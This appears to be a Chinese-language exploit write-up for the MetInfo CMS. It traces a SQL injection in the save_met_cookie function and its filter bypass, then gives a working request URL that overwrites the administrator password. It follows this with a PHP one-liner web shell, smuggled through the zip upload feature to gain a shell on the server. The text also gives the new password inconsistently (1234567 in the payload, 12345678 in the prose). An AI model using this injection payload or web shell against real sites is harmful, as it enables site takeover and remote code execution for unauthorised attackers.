注入触发点
/admin/include/global.func.php 1456行save_met_cookie函数
$json=json_encode($met_cookie); 将$met_cookie转为json格式,存入数据库;
这里说明一下,json_encode 会吃掉转移符\,当我们引入单引号的时候 json 吃掉了 单引号的转译符\ ,所以在进入SQL语句的时候我们能保留 单引号 ',有了单引号一切就好办了。而且这个语句处理的是 met_admin_table 表,是管理员表。
我们看看$met_cookie
metinfo 采用伪全局变量机制
在/admin/include/common.inc.php 第76行
这里对$met_cookie 的处理,真是笑死了,只需要对$met_cookie_filter进行赋值还是能影响$met_cookie
我们看看daddslashes函数怎么处理的
/admin/include/global.func.php 注意是后台,前台也有个daddslashes函数但是代码不一样
(SQL_DETECT!=1 || $sql_injection==1)当满足这个条件时才过滤关键字,否则只是用addslashes处理, sql_injection默认为 0 ,我们找 SQL_DETECT
在admin/login/login.check.php
第9行 定义了define('SQL_DETECT',1);
所以只要在这里引入的变量都只是使用addslashes 处理
而save_met_cookie函数又能得到单引号,我们这样就绕过了metinfo的防御了。
现在找一下漏洞触发点
从上面的代码可以看到 在admin/login/login.check.php 中引入
admin/include/common.inc.php
而在 admin/include/common.inc.php文件的最后引入了
metlist.php
在metlist.php 第91行左右
我们看到调用了 save_met_cookie()函数;
因为没有回显,就把$query 输出好证明。
因为save_met_cookie函数中的数据表是管理员表,我们可以直接把管理员密码改了
O(∩_∩)O哈哈~
访问
/admin/login/login_check.php?met_cookie_filter[a]=a%27,admin_pass=md5(1234567)+where+id=1;+%23--
这样就可以吧管理员密码改为12345678
当然利用不止这些(⊙o⊙)哦,毕竟我们已经绕过了防御。
现在后台getshell
getshel admin\include\uploadify.php 206行
上传.zip 文件会自动解压,不过有过滤,但是是 采用黑名单方式,用回调函数可以轻易绕过 如下面的一句话
<?php $e = $_REQUEST['e']; $arr = array($_REQUEST['pass'],); array_filter($arr, base64_decode($e)); ?>
接下来是利用 把上面的码写进test.php文件里压缩为test.zip格式 在后台找个能上传的的地方上传, 修改参数 type=skin 上传成功后在/templates目录下生成 test.php